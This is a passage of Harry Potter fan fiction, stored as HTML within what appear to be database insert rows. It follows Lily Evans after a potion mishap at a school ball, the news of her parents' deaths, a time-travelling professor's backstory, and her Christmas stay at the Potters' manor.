turned to Remus. &quot;How did you know?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;From the look in your eyes,&quot; Remus lied, bringing his sleeve to his nose to stop the bleeding. He didn&#8217;t think that telling her mouth tasted like anti-inhibition potion would go well with James right now.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Oh&quot;. Her brain was pulsing slowly inside her skull. She couldn&#8217;t remember what happened after they left the Hall but she did know that she wouldn&#8217;t mind kissing Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>Her gaze shifted to the tall boy with round glasses standing next to her.</p>\n\n<p>&nbsp;</p>\n\n<p>Or James.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>A bit of travelling on the right.</p>\n\n<p>&nbsp;</p>\n\n<p>Or Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>Back to Remus-still kissable-a bit on the left.</p>\n\n<p>&nbsp;</p>\n\n<p>Or Peter.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>She would even kiss Snape at this very moment. Or Professor Raven, why not Professor Raven after all?</p>\n\n<p>&nbsp;</p>\n\n<p>Her mind had been a bit foggy since she had woken up but now it was very clear again. She had to find Professor Raven.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily smiled dreamily. She took her wand out of her sleeve and absentmindedly healed Remus&#8217; nose before heading out for the door. But something wasn&#8217;t right. Why couldn&#8217;t she walk?</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Not so fast girl. You&#8217;re not going anywhere until you tell us what this is all about.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>James&#8217; hold on her was too strong for her to break without using magic. And she didn&#8217;t want to hurt him; he had such a sexy voice&#8230;a very sexy voice. Time for a change of plan&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>She turned toward James who seemed to be busy staring at her breasts. Breasts who were a bit too exposed. She didn&#8217;t remember lowering the bodice of the robes quite that much. Oh well, no matter&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Er&#8230;James&#8230;&quot; Sirius said to his oblivious friend. &quot;I don&#8217;t think the potion wore off yet.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus too had seen the predatory look coming back in Lily&#8217;s eyes. </p>\n\n<p>&nbsp;</p>\n\n<p>But it was Peter who performed the Petrificus Totalus that sent Lily falling into James&#8217; arms like a stone. He staggered a bit under the unexpected weight and snapped out of his trance. He then looked suspiciously at Remus. &quot;I don&#8217;t remember her neckline being so low at the beginning of the evening.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus had the grace to blush. He knew that had James not known that, once it was awaken, he couldn&#8217;t contain the wolf in him so close to the full moon he&#8217;d be in for another bloody nose.</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Be careful, Sirius! Her shoe is going to fall!&quot; Peter hissed as the little group rounded a corner, the Prank forgotten for now.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Indeed.&quot; Said a cold voice in front of them.</p>\n\n<p>&nbsp;</p>\n\n<p>James and Sirius nearly dropped Lily&#8217;s stiff form in surprise. The bastard moved soundlessly.</p>\n\n<p>&nbsp;</p>\n\n<p>Severus Snape took in the scene before him. Potter and Black were carrying the stiff body of a girl with Pettigrew holding a green shoe and Lupin was standing nearby, looking a bit dishevelled. Perfect. He knew the sneer he had automatically put on was one of his best one. Time for a bit of fun&#8230;</p>\n\n<p>&quot;Well, well, well, what have we here? The Hogwarts&#8217; Four carrying an unconscious girl to one of their secret hideaways. I wonder how many points I could take off for that&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Shut it Snape. We&#8217;re bringing Lily to the infirmary,&quot; James said none too gently. He had been in a fool mood the whole evening and he wasn&#8217;t about to let the Slytherin stand in his way now.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape&#8217;s sneer faded and he frowned. &quot;What happened to her?&#8217; he asked moving closer to Lily&#8217;s body. He leaned forward, trying to have a better look at the funny little light in her opened eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus&#8217; hand shot forward and rudely pulled him back. &quot;Don&#8217;t you touch her.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape ignored him and turned to James. &quot;What happened to her?&quot; he repeated.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Anti-inhibition potion.&quot; James answered shortly. He watched warily as Snape searched for something in his robes but Remus and Peter had their wands at the ready so it was doubtful he&#8217;d try something. </p>\n\n<p>&nbsp;</p>\n\n<p>Severus saw the wands too and slowly pulled a silver flask out of his pocket. &quot;You can lower you wands, I just want to help. It disgusts me to see potions employed in such a fashion, and I wouldn&#8217;t even accuse Gryffindors of such practices.&quot; Merlin! He couldn&#8217;t remember the last time he&#8217;d talked to any of the four boys without throwing in an insult every two words! And now he had just nearly paid them a compliment! What was the world coming to&#8230; &quot;Unfreeze her,&quot; he ordered.</p>\n\n<p>&nbsp;</p>\n\n<p>And he was surprised when they lowered Evans to the floor and did as he asked without a word. </p>\n\n<p>&nbsp;</p>\n\n<p>He then scooped down, uncorking his flask, and quickly poured a bit of liquid into Lily&#8217;s mouth. He made sure she swallowed all of it before standing up again. &quot;Browning&#8217;s multi-function potion,&quot; he said. &quot;Every wizard should have a flask on his person.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Damn it! I think I&#8217;m going soft&quot; he whispered angrily to himself as he stormed away. </p>\n\n<p>&nbsp;</p>\n\n<p>There was a perplexed silence after his departure. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I think old Snappy is going soft,&quot; Sirius said after a while.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Who&#8217;s going soft?&quot; Lily asked. She was on her feet and felt incredibly good.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Snape. He just cured you from that potion someone made you drink,&quot; Peter answered. &quot;Glad to see you&#8217;re better by the way.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p> &quot;Do you fancy a private snogging session somewhere? Just you and me?&quot; Sirius asked hopefully.</p>\n\n<p>&nbsp;</p>\n\n<p>Snogging&#8230;snogging&#8230;Oh dear&#8230;she remembered everything now.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily looked at Remus and winced when she saw the wild disarray of his hair. She cleared her throat embarrassingly. &quot;Sorry about &#8230;er&#8230;you know, what I did back in that corridor.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Of course Remus said it was alright, that she hadn&#8217;t been herself. In short he would never mention it again. Dear Remus, a friend after her own heart.</p>\n\n<p>&nbsp;</p>\n\n<p>She had to explain-in the vaguest possible way- the Plan because James thought that someone had purposefully drugged her. As they made their way back to the Hall Sirius, Remus and Peter talked about the many things they could do to Wentworth in retaliation but James kept silent.</p>\n\n<p>&nbsp;</p>\n\n<p>When he finally opened his mouth it was to ask her for a dance. And she accepted. </p>\n\n<p>&nbsp;</p>\n\n<p>James took her hand in his and led her to the dance floor. The boys officially went in search of something to drink but really were going to start the delicate marking of the targets. It wouldn&#8217;t do if <i>everyone</i>&#8217;s robes were going to float around.</p>\n\n<p>&nbsp;</p>\n\n<p>What a waste of an evening, Lily thought dejectedly as she let James guide her steps. Marian was dancing with Wentworth again, grinning like mad; at least she hadn&#8217;t been drugged. Howard was talking to the Head Girl but he had sent her a reproachful look when she had come back into the Hall; she&#8217;ll have some explaining to do. Lucius Malfoy was seated with the Governors and was glaring at the cheerful dancing couples; she was glad he didn&#8217;t seem to notice her.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Did you go and concoct that stupid scheme of yours because I refused to take you to the ball?&quot; James asked suddenly.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Not exactly&quot;, Lily answered cautiously. She hadn&#8217;t told him it really was Howard&#8217;s idea and she intended to keep it that way. There already was no lost love between the two and she didn&#8217;t need to make it worse. &quot;I would have done it even if you had accepted.&quot; She hoped he couldn&#8217;t tell she was lying.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Can you tell me why I&#8217;m friends with someone so obviously missing a few sane brain cells again?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily relaxed. This was familiar territory. She smiled innocently. &quot;I don&#8217;t know, maybe because you&#8217;re missing even more of them than I am. And of course there&#8217;s still the fact that I&#8217;m irresistible, but you know that by now.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Oh yes I know. How could I forget with you reminding me every week or so?&quot; James laughed and they twirled a little bit faster. </p>\n\n<p>&nbsp;</p>\n\n<p>That damn &#8216;pumpkin pie&#8217; song was back again but Lily didn&#8217;t mind half as much as she did when she had danced with Howard. For one thing she didn&#8217;t have to worry about the Plan anymore and for the other James was a <i>really</i> good dancer. The kind of dancer that made you feel as if you were a true proficient yourself. And he could be quite the gentleman when he wanted. &#8216;Sinfully attractive&#8217; was what came to mind when you thought about him, after &#8216;insufferable prat&#8217; and &#8216;arrogant bastard&#8217; of course. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Why, Mr Potter, I didn&#8217;t know you could dance!&quot; she said with a big smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Surprised?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Always.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>James grinned. &quot;Good.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Speaking of dancing, do you know the name of the band? I can&#8217;t seem to remember it.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Dark Rodents Prowling in the Dark Night&quot;, James answered immediately. &quot;Their music is very&#8230;er&#8230;new. Their usual one I mean, not the Granny&#8217;s Classics they&#8217;ve been forced to play tonight.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I think I might just like those Granny&#8217;s Classics,&quot; Lily said. &quot;I&#8217;m even getting quite fond of that Pumpkin pie one.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>And they kept twirling around the room.</p>\n\n<p>&nbsp;</p>\n\n<p>Reflecting back on that night, Lily realised she should have known that something was going to happen. Before waltzing dreamily in James&#8217; arms she just knew that it was going to be a bad night. But she had forgotten. </p>\n\n<p>&nbsp;</p>\n\n<p> That&#8217;s why it was such a shock when Professor Raven took her aside and told her her parents were dead.</p>\n\n<p>&nbsp;</p>\n\n<p>That&#8217;s why she fainted. Again.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>~***~</p>\n\n<p>&nbsp;</p>\n\n<b></b><p><b>Next: </b>Christmas far from home for Lily, a kiss, the raspberries return and the truth about Raven.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>\n\n</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(170, 10, ' <b></b><p><b>Author&#8217;s notes: </b>Hello! I felt guilty for making you wait such a long time for the last chapter so I&#8217;m posting this now. It&#8217;s only part a but I hope it will occupy you until next time! Don&#8217;t forget to R&amp;R please :) Also I think my Beta might have left me since I haven&#8217;t heard from her in three weeks. Would anyone be up to the task and beta read for me?</p>\n\n<b>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 10: Framboises Givr&#233;es.</p>\n\n<p>&nbsp;</p>\n\n<p>Part a</p>\n\n<p>&nbsp;</p>\n\n</b><p>There was a loud &#8216;thud&#8217; as Lily shut the lid of her trunk.</p>\n\n<p>&nbsp;</p>\n\n<p>Everyone had gone down to the Great Hall for breakfast but Lily relished the first moment of solitude she had since last night.</p>\n\n<p>&nbsp;</p>\n\n<p>She walked over to the window and stared at the frozen lands unseeingly. </p>\n\n<p>&nbsp;</p>\n\n<p>Dead. They were dead.</p>\n\n<p>&nbsp;</p>\n\n<p>It was final and irrevocable.</p>\n\n<p>&nbsp;</p>\n\n<p>Oh, she had been worried about them before&#8230; She had known that the parents of Muggleborn witches and wizards were easy targets. She had spent many sleepless nights wondering if Hogwarts was the right place for her since the summer.</p>\n\n<p>&nbsp;</p>\n\n<p>It would have been so easy to give everything up, to turn her back on the last six years and go back to the blissful anonymity normal life procured. No more Voldemort.</p>\n\n<p>&nbsp;</p>\n\n<p>But she hadn&#8217;t done it. And it hadn&#8217;t mattered in the end.</p>\n\n<p>&nbsp;</p>\n\n<p>A car crash. A stupid car crash. Nothing even remotely magical. She wasn&#8217;t to blame. They had made sure to drill the thought into her head last night after she had woken up in the Hospital Wing.</p>\n\n<p>&nbsp;</p>\n\n<p>But still, she felt guilty. </p>\n\n<p>&nbsp;</p>\n\n<p>Guilty because a tiny part of her was relieved she hadn&#8217;t indirectly been the cause of their death. Guilty because she didn&#8217;t feel anything but emptiness. Guilty because she couldn&#8217;t even cry.</p>\n\n<p>&nbsp;</p>\n\n<p>She loved them. Oh how she loved them&#8212;even Petunia although she was in less than cordial terms with her.</p>\n\n<p>&nbsp;</p>\n\n<p>Petunia&#8230;her only sister&#8230; They should have stood together in this time of grief. They should have tried to put the past behind and re-forge the bond that had united them in their childhood.</p>\n\n<p>But judging from the letter Petunia had sent her-along with another one for the school&#8212;she had lost her sister too. </p>\n\n<p>&nbsp;</p>\n\n<p>Although only three years older, Petunia was engaged to a beef of a young man called Vernon Dursley and she was going to live with her future parents in laws until the wedding. Lily wasn&#8217;t welcome there, even for the brief two weeks of the Christmas holidays.</p>\n\n<p>&nbsp;</p>\n\n<p>But it didn&#8217;t matter. Nothing mattered. Not yet anyway. When realisation would settle in for good, Lily would feel all the things she didn&#8217;t at the moment. Then she would cry at last. Maybe it would break her but in the meantime she was just a shell. A beautiful, fragile shell, as cold as the sea.</p>\n\n<p>&nbsp;</p>\n\n<p>She wouldn&#8217;t have minded staying at Hogwarts but Madam Weasley had insisted that she shouldn&#8217;t be alone after such an ordeal. Lily could tell that the good nurse had been appalled when she had told her that her sister could not take her in. But the old witch had rallied rather well and had said that friends were also a possibility.</p>\n\n<p>&nbsp;</p>\n\n<p>It was impossible for her to go to Marian&#8217;s but James had offered to take her home with him and Dumbledore had approved. Cl&#233;obulle was to stay at Hogwarts for Lily didn&#8217;t have the heart to uproot him in an unfamiliar environment for a mere two weeks. He would be well taken care of by Madam Weasley (who wouldn&#8217;t leave the castle this year).</p>\n\n<p>&nbsp;</p>\n\n<p>A knock at the door pulled her from her contemplative state. She wasn&#8217;t surprised to see James stepping in, already dressed in his winter cloak. She had been waiting for him after all.</p>\n\n<p>&nbsp;</p>\n\n<p>James smiled a tentative smile at the sight of his friend standing at the window. &quot;Are you ready? The carriages have been brought around a few minutes ago. Here&#8230; I&#8217;ll take your trunk downstairs.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily followed him outside the room without a word but she made sure to smile her thanks to him. If there was one person she felt she could rely on then that person was James. She knew she was very lucky to have him for a friend.</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>From the large windows of the teachers&#8217; lounge, Keanan Raven watched the students streaming out of the castle and pilling into the carriages. He sighed as he caught sight of a girl with red hair going down the front steps with a tall black-haired boy. He remembered when the whole mess he was in had started&#8230;</p>\n\n<p>***</p>\n\n<i>\n\n<p>Scotland, winter 1790</p>\n\n<p>&nbsp;</p>\n\n</i><p>Sprawled carelessly in a comfortable armchair with a glass of brandy in his hand, Keanan Raven was staring into space, pictures of a red-haired girl from the future flashing in his mind.</p>\n\n<p>&nbsp;</p>\n\n<p>A fire was burning merrily in the grate and it gave the room a warm and cozy atmosphere in great contrast with the icy December wind that could be heard howling outside.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a soft &#8216;pop&#8217; and a rather tiny house-elf appeared in front Raven. The little creature frowned at the sight of the almost empty glass.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Master Keanan knows that he shouldn&#8217;t be drinking considering his rather dangerous occupations.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Raven glanced dispassionately at the dark liquid remaining at the bottom of his glass. Was that his second one already? He fancied that if he swirled the alcohol just this way then the flickering light of the fire gave it a beautiful reddish hue.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;What do you want Pippin?&quot; he asked, his eyes still on the glass and intent on recapturing the fugitive colour.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Will Master Keanan be coming to the dining room for super?&quot; Pippin asked, taking advantage of his master&#8217;s lack of attention to take a peek at the decanter resting on the desk on the other side of the room. The thing was actually three-quarters full and, satisfied, Pippin tried to coax the brooding man out of his study. &quot;Faidi has made some of that raspberry shortcakes you like so much for dessert...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I&#8217;m not hungry tonight.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;But maste-&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I said I wasn&#8217;t hungry, Pippin. And I wish to be left alone.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Pippin knew that when the master spoke in his no-nonsense tone it was useless to argue and he vanished quickly. </p>\n\n<p>&nbsp;</p>\n\n<p>Once the elf had gone Raven tossed back the rest of his drink in one gulp and started to pace on the expensive Persian rug covering the cold stone floor in front of the fireplace. He didn&#8217;t have to look at his pocket watch to know that the old crackpot was late. He was, after all, the master of Time--in his own bizarre way at least.</p>\n\n<p>&nbsp;</p>\n\n<p>He remembered how awed he had been when the illustrious Merlin of the legends had appeared in front of him for the first time. His ethereal form had been almost invisible but it had still created a great impression on a lad of thirteen. He hadn&#8217;t believed it at first when the old wizard had told him he would do great things in the years to come. More ludicrous was what came next: he, Keanan Raven, was to be a very special member of the Tempus Fugit Order. Order created by Merlin himself to &#8216;observe the world and sometimes rectify the acts of the Great Goddess&#8217; (in Merlin&#8217;s own words), for, you see, the Great Goddess didn&#8217;t always do things right.</p>\n\n<p>&nbsp;</p>\n\n<p>It had taken little convincing to make young Keanan join. And now, fifteen years later, there were few things or times he hadn&#8217;t seen. A very peculiar magic was flowing in his veins and he could freely go backward or forward in time in a three hundred years margin. Raven knew that this travelling had a price and that it was taking a toll on his body but he wasn&#8217;t overly worried, it usually took him no more than a day or two to recover completely from a sudden time change.</p>\n\n<p>&nbsp;</p>\n\n<p>The Tempus Fugit Order must be one of the oddest ever created considering that none of its members lived at the same period. The oldest of them all was Merlin of course. They could communicate with one another by ways of ethereal transportation and Raven was the only one who could actually travel physically at will through time. Consequently he was some sort of handyman. Meaning he was sent on missions. Mostly to observe and more rarely to intervene, for life had to follow its course and the unbalanced forces of the universe had a wicked knack to upset it.</p>\n\n<p>&nbsp;</p>\n\n<p>It was his most recent mission that had caused Raven such distress. He had arrived back to his normal time a day ago and was now waiting for Merlin to contact him so he could do his report. His abilities did not allow him to actually visit the old wizard in his own time.</p>\n\n<p>&nbsp;</p>\n\n<p>Raven suddenly felt a light breeze unsettling his messy hair. Speak of the devil&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Good evening, my boy,&quot; Merlin said jovially. He was seated behind Keanan&#8217;s desk and the leather of the chair could be seen through his flickering ghostly body. &quot;Goodness me! You look absolutely awful!&quot; he added with a chuckle. &quot;Ladies trouble?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Nothing of the sort,&quot; Raven replied testily. He had great respect for the man, he really had. A very powerful wizard he was. But it didn&#8217;t mean he wasn&#8217;t an old coot all the same. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;If you say so.&quot; It was hard to tell because the ghost was barely visible but Raven was sure Merlin&#8217;s eyes were twinkling merrily. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Now, about the mission&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Merlin sobered instantly. He may be an old coot but he had a world to watch over. &quot;Yes?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Raven started pacing again. &quot;I had to visit several different years. You know, the before, the after and the in-between.&quot; Merlin nodded. &quot;Well, it seems that all is taken care of thanks to some &#8216;keys&#8217;. The dark wizard Flamel feared will be brought down.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Well, this is good news indeed. So we had nothing to worry about after all?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Not exactly. I&#8217;ve felt some disturbance. It was very faint but there is a possibility of the future taking a different path. I would say that it had approximately one chance out of ten to take the wrong one.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Merlin&#8217;s ghostly eyebrows knitted together, his face couldn&#8217;t actually darken but it was clear that it wasn&#8217;t good news to him. &quot;We cannot take chances, Voldemort must fall,&quot; he murmured.</p>\n\n<p>&nbsp;</p>\n\n<p>Raven stopped his pacing and looked at the old man. So much depended on him, he looked very tired and very old all of a sudden.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I have identified the keys,&quot; Raven said gently, &quot;I will tell Flamel who they are and he will have them watched.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Would you watch them for me?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>For a moment Raven stood frozen. No, this wasn&#8217;t happening, he wouldn&#8217;t let it happen. He swallowed nervously</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I can&#8217;t do this, Merlin. I would have to stay in the same time for a very lengthy period and I was never gone more than a couple of months. To do this properly I would have to stop my travelling for at least two years&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Merlin rose and glided through the desk to come and stand-or rather float-near the young man.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;You know that how long you stay will not matter in the end, Keanan,&quot; he said gently. &quot; I understand it&#8217;s still a lot to ask&#8230;you won&#8217;t regain those two years, they will be irrevocably spent. But I have a feeling that it is very important that we see to this particular matter. You are one of the most powerful wizards who have ever existed, your knowledge of the magical arts is nearly bottomless. I believe that you are the most qualified person for this.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Raven knew he was going to regret it but he couldn&#8217;t well refuse Merlin, not when the old wizard was practically pleading with him. Drat! Who was he kidding? He couldn&#8217;t resist seeing her again, no matter how much it would hurt to stand by and watch her build her life with another and then die. The temptation was too great.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I will do it,&quot; he said in barely more than a whisper. He swore he could actually feel the weight of the translucent hand Merlin had placed on his shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I hadn&#8217;t expected less of you, my boy. The Great Goddess made the right thing by giving you these powers.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Raven chuckled mirthlessly. &quot;I don&#8217;t know if I&#8217;m very thankful for that. It&#8217;s not all that it&#8217;s cracked up to be.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Merlin raised an eyebrow. &quot;What was that? I don&#8217;t think I&#8217;ve heard that expression before.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I picked it up on the last mission. They have a very disturbing manner of speaking in the twentieth century. I had to adapt myself.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Good, good. Now, there will be one person who will be aware of your true identity. He actually asked for our help, his name is Albus Dumbledore. Heard of us by Flamel although the old rascal wasn&#8217;t supposed to reveal anything about the Order to anyone. Never was one for rules, Nicholas.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>When Merlin had gone Raven went back to his comfortable chair near the fire. He decided to give himself a week before starting his new mission. He wasn&#8217;t ready to see her again yet. Not when just yesterday he had seen her corpse lying on the ground with a crying baby in her arms.</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<i>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n</i><p>Well, that&#8217;s it for now! I&#8217;ll answer the questions you&#8217;ve asked (and those you will ask) when I post Part b, which I will probably combine with Part a. I expect it to be up anytime between Sunday and next Saturday.</p> '),
	(170, 11, '<b><u></u></b><u></u><p><u><b>Author&#8217;s notes</b></u>: I&#8217;m so very sorry for making you wait too long for this. In fact I&#8217;m so sorry that I&#8217;m posting this before sending it to my beta so you can have it sooner. Again. I&#8217;ll post the corrected version when I get it. I&#8217;d like to thank all my reviewers, I just went back through all the reviews and I&#8217;m on a little cloud right now. I hope you enjoy Part 2. The title, &#8216;Frozen Raspberries&#8217;, concerns a tiny paragraph at the very end.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><p>Chapter 10 part 2.  Frozen Raspberries.</p>\n</b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Go and show Lily her room, James. I&#8217;ll see to dinner.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Mrs. Potter reminded Lily very much of her own mother. Both had a delicate and elegant figure, kind eyes and beautiful hands. Their ethereal beauty made them look like two animated china dolls but without the proverbial coldness. Their colouring and voices differed but the superficial likeness<font color="#ff0000"> </font>was enough to bring tears to her eyes. Brushing them away furtively, Lily followed James up the Grand staircase of Potter Manor.</p>\n\n<p>&nbsp;</p>\n<p>She had known that the Potters were a very old and respected wizarding family and, in her mind, they were bound to live comfortably. She would never have imagined so much&#8230;well, opulence was the word. Not that it was too overbearing. Just very impressive.</p>\n\n<p>&nbsp;</p>\n<p>Lily was from an upper middle-class family and she had been impressed with the sight of the eighteenth century manor and the extensive grounds presently covered in snow.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Here we are.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James opened a door and stepped back gallantly to let Lily have a look.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I hope you like it,&quot; he continued as she stepped into the room. &quot;I know you&#8217;re partial to blue. Oh and your trunk has already been brought up.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thanks James. It&#8217;s very lovely,&quot; Lily said, turning to face him after a quick inspection of the room. Not overbearing at all. Rather elegant.</p>\n\n<p>&nbsp;</p>\n<p>James stayed in the doorway as Lily walked to one of the bay windows to admire the view. </p>\n\n<p>&nbsp;</p>\n<p>&quot;We call it the Blue Room,&quot; he said a bit awkwardly.</p>\n\n<p>&nbsp;</p>\n<p>Lily raised an eyebrow and ran her hand over the blue velvet curtain. &quot;Really?&quot; Was it her imagination or did James seem incredibly nervous? He was rather fidgety.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s because of the blue curtains, the blue carpets, the blue bed coverlet&#8230;&quot; he trailed off. &quot;But of course you&#8217;d already noticed that.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Was he squirming now?</p>\n\n<p>&nbsp;</p>\n<p>&quot;It had crossed my mind that the &#8216;Blue Room&#8217; would be an appropriate name, yes.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Definitely squirming.</p>\n\n<p>&nbsp;</p>\n<p>James cleared his throat. &quot;Hmm, well then&#8230;I think I&#8217;ll let you get all settled in; you&#8217;re allowed to use magic in the house if you want. I&#8217;ll come back when it&#8217;s time for dinner. My room is two doors down the corridor if you need anything.&quot;</p>\n\n<p>&nbsp;</p>\n<p>When he had gone, Lily started to unpack her trunk rather mechanically. The tears were coming back<font color="#ff0000">,</font> but she didn&#8217;t bother with wiping them away this time. There was no one to see her cry. In a way she was relieved. She had felt guilty about not being able to cry. But it wasn&#8217;t the big liberating flow she yearned for and the few tears quickly dried on her cheeks.</p>\n\n<p>&nbsp;</p>\n<p>She wondered how she could act and talk normally with such ease when she felt so empty inside. There wasn&#8217;t even pain. Just emptiness and a feeling of unreality<font color="#ff0000">.</font></p><font color="#ff0000">\n</font>\n<p>&nbsp;</p>\n<p>A soft &#8216;pop&#8217; made her drop her favourite jumper in surprise.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Good evening, Miss!&quot;</p>\n\n<p>&nbsp;</p>\n<p>A House-elf. She had only seen one at Hogwarts before. They were very discrete creatures.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Good evening,&quot; she said with a smile.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I is Minty, Miss. I wanted to know if Miss was in need of anything.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t require anything, thank you, Minty. And you can call me Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, Miss Lily. Minty will be going then. Minty needs to see to it that Pippin doesn&#8217;t mess around too much in the kitchen.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Minty was gone before Lily could ask who was this Pippin. She didn&#8217;t know much about House-elves but &#8216;Pippin&#8217; sounded definitely elvish.</p>\n\n<p>&nbsp;</p>\n<p>Her unpacking done, she started a letter to Marian while waiting for James.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>***</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Without being a ravenous bookworm, Lily had done her decent share of reading since being accepted to Hogwarts. She was particularly fascinated by the lives and customs of the traditional wizarding families, which were so very different from what she was used to as a Muggle born witch.</p>\n\n<p>&nbsp;</p>\n<p>It was thanks to her readings that she knew that the elder male still played the prominent role in the old families. So she had thought that she&#8217;d better talk about her parents&#8217; funerals with Mr<font color="#ff0000">.</font> Potter. They were to take place the following day and she didn&#8217;t know how she would get to 